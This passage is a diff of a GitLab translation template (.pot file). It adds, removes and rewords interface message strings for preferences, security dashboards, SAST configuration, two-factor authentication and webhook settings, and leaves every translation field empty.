msgid "Please contact your administrator."
msgstr ""
@@ -18439,13 +19009,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18457,6 +19027,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18748,15 +19321,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -19147,6 +19714,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -19171,6 +19741,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19762,7 +20335,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19771,10 +20344,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19834,6 +20416,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19888,6 +20473,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19969,6 +20557,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20299,9 +20890,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20401,6 +20989,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20497,6 +21088,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20539,6 +21133,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20608,9 +21205,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20644,9 +21238,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20659,12 +21250,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20713,15 +21298,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20908,9 +21487,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -21106,9 +21682,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21292,6 +21874,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21304,6 +21889,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21430,6 +22018,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21460,6 +22051,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21508,6 +22102,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21550,6 +22147,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21787,6 +22387,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21814,13 +22417,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21841,6 +22468,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21868,7 +22498,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21904,13 +22534,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21925,19 +22552,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21949,6 +22570,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21967,13 +22591,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -22045,7 +22669,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -22054,6 +22678,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -22084,9 +22711,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -22210,6 +22834,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -22240,6 +22867,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22429,6 +23059,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22441,6 +23077,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22765,19 +23407,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22873,6 +23515,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22915,7 +23560,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22966,12 +23611,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -23029,6 +23683,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -23158,10 +23815,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -24058,6 +24715,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -24106,6 +24766,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -24118,6 +24781,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24307,6 +24973,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24379,9 +25051,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24418,9 +25087,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24430,7 +25096,7 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24457,6 +25123,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24487,6 +25156,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24541,6 +25213,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24646,13 +25324,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24691,6 +25369,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24808,6 +25489,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24883,12 +25567,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24901,6 +25588,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -25051,19 +25741,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -25087,6 +25777,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -25117,7 +25810,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25291,9 +25984,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25456,15 +26146,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25525,6 +26215,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25906,9 +26599,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25993,9 +26683,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -26017,9 +26713,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -26080,6 +26773,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -26224,6 +26920,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26293,9 +26992,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26311,10 +27019,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26497,7 +27217,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26587,6 +27307,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26668,9 +27391,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26686,7 +27406,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26761,7 +27481,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26851,9 +27571,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26905,9 +27622,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -27151,9 +27865,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -27187,6 +27907,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -27223,6 +27946,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -27265,6 +27991,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27475,6 +28207,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27538,9 +28273,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27682,7 +28414,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27727,6 +28459,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
